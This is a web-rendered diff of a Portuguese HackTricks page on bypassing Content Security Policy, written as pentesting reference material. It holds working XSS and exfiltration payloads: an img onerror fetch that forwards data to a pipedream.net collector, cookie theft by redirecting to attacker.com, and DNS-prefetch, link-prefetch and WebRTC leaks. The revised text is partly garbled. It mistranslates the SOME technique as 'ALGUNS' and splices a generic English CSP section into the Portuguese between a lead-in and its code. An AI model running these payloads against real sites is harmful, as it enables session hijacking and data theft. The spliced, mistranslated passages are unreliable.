img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
|
|
@ -666,26 +667,26 @@ setTimeout(function() {
|
|||
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
|
||||
}, 1000);
|
||||
```
|
||||
### SOME + 'self' + wordpress
|
||||
### ALGUNS + 'self' + wordpress
|
||||
|
||||
SOME é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um endpoint de uma página** para **abusar** de **outros endpoints da mesma origem.** Isso é feito carregando o endpoint vulnerável de uma página do atacante e depois atualizando a página do atacante para o endpoint real na mesma origem que você deseja abusar. Dessa forma, o **endpoint vulnerável** pode usar o objeto **`opener`** no **payload** para **acessar o DOM** do **endpoint real a ser abusado**. Para mais informações, confira:
|
||||
ALGUNS é uma técnica que abusa de um XSS (ou XSS altamente limitado) em um endpoint de uma página para abusar de outros endpoints da mesma origem. Isso é feito carregando o endpoint vulnerável de uma página do atacante e, em seguida, atualizando a página do atacante para o endpoint real na mesma origem que você deseja abusar. Dessa forma, o endpoint vulnerável pode usar o objeto `opener` no payload para acessar o DOM do endpoint real a ser abusado. Para mais informações, consulte:
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Além disso, o **wordpress** possui um endpoint **JSONP** em `/wp-json/wp/v2/users/1?_jsonp=data` que irá **refletir** os **dados** enviados na saída (com a limitação de apenas letras, números e pontos).
|
||||
Além disso, o **wordpress** possui um endpoint **JSONP** em `/wp-json/wp/v2/users/1?_jsonp=data` que irá refletir os dados enviados na saída (com a limitação de apenas letras, números e pontos).
|
||||
|
||||
Um atacante pode abusar desse endpoint para **gerar um ataque SOME** contra o WordPress e **incorporá-lo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` observe que esse **script** será **carregado** porque é **permitido por 'self'**. Além disso, e porque o WordPress está instalado, um atacante pode abusar do **ataque SOME** através do **endpoint de callback** **vulnerável** que **burla o CSP** para conceder mais privilégios a um usuário, instalar um novo plugin...\
|
||||
Para mais informações sobre como realizar esse ataque, confira [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
Um atacante pode abusar desse endpoint para gerar um ataque ALGUNS contra o WordPress e incorporá-lo dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`. Note que este script será carregado porque é permitido por 'self'. Além disso, e porque o WordPress está instalado, um atacante pode abusar do ataque ALGUNS através do endpoint de **callback** vulnerável que contorna a CSP para conceder mais privilégios a um usuário, instalar um novo plugin...\
|
||||
Para mais informações sobre como realizar esse ataque, consulte [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## Bypasses de Exfiltração de CSP
|
||||
## Bypasses de Exfiltração CSP
|
||||
|
||||
Se houver um CSP restrito que não permita que você **interaja com servidores externos**, há algumas coisas que você sempre pode fazer para exfiltrar as informações.
|
||||
Se houver um CSP estrito que não permita interagir com servidores externos, há algumas coisas que você sempre pode fazer para exfiltrar as informações.
|
||||
|
||||
### Localização
|
||||
|
||||
Você poderia simplesmente atualizar a localização para enviar ao servidor do atacante as informações secretas:
|
||||
Você pode simplesmente atualizar a localização para enviar ao servidor do atacante as informações secretas:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split('=')[1]+".";
|
||||
document.location = "https://attacker.com/?" + sessionid;
|
||||
|
|
@ -699,7 +700,7 @@ Você pode redirecionar injetando uma meta tag (isso é apenas um redirecionamen
|
|||
### DNS Prefetch
|
||||
|
||||
Para carregar páginas mais rapidamente, os navegadores vão pré-resolver os nomes de host em endereços IP e armazená-los em cache para uso posterior.\
|
||||
Você pode indicar a um navegador para pré-resolver um nome de host com: `<link reol="dns-prefetch" href="something.com">`
|
||||
Você pode indicar a um navegador para pré-resolver um nome de host com: `<link rel="dns-prefetch" href="something.com">`
|
||||
|
||||
Você poderia abusar desse comportamento para **exfiltrar informações sensíveis por meio de solicitações DNS**:
|
||||
```javascript
|
||||
|
|
@ -707,7 +708,25 @@ var sessionid = document.cookie.split('=')[1]+".";
|
|||
var body = document.getElementsByTagName('body')[0];
|
||||
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
|
||||
```
|
||||
Outra maneira:
|
||||
### Bypassing Content Security Policy (CSP)
|
||||
|
||||
#### Introduction
|
||||
|
||||
Content Security Policy (CSP) is an added layer of security that helps detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, there are ways to bypass CSP protections and execute malicious code on a target website.
|
||||
|
||||
#### Bypass Techniques
|
||||
|
||||
1. **Unsafe Inline Scripts**: By using inline event handlers or inline script tags, attackers can bypass CSP restrictions that disallow inline scripts.
|
||||
|
||||
2. **Data: URI Scheme**: Attackers can use the data: URI scheme to embed external resources within a website, bypassing CSP restrictions on loading external resources.
|
||||
|
||||
3. **Nonce Bypass**: If a website improperly implements nonce-based CSP, attackers can bypass the restrictions by injecting scripts without a nonce.
|
||||
|
||||
4. **Trusted Types Bypass**: By finding a DOM-based XSS vulnerability, attackers can bypass CSP protections implemented using Trusted Types.
|
||||
|
||||
#### Conclusion
|
||||
|
||||
While Content Security Policy is an effective security measure, it is important to understand the potential bypass techniques that attackers may use to circumvent CSP protections. Regular security assessments and testing can help identify and mitigate these bypass techniques to ensure the security of web applications.
|
||||
```javascript
|
||||
const linkEl = document.createElement('link');
|
||||
linkEl.rel = 'prefetch';
|
||||
|
|
@ -742,12 +761,12 @@ var pc = new RTCPeerConnection({
|
|||
});
|
||||
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||
```
|
||||
## Verificando Políticas CSP Online
|
||||
## Verificação de Políticas CSP Online
|
||||
|
||||
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||||
* [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
|
||||
|
||||
## Criando CSP Automaticamente
|
||||
## Criação Automática de CSP
|
||||
|
||||
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
|
||||
|
||||
|
|
@ -784,10 +803,10 @@ Fique informado sobre os novos programas de recompensas por bugs lançados e atu
|
|||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
Loading…
Reference in a new issue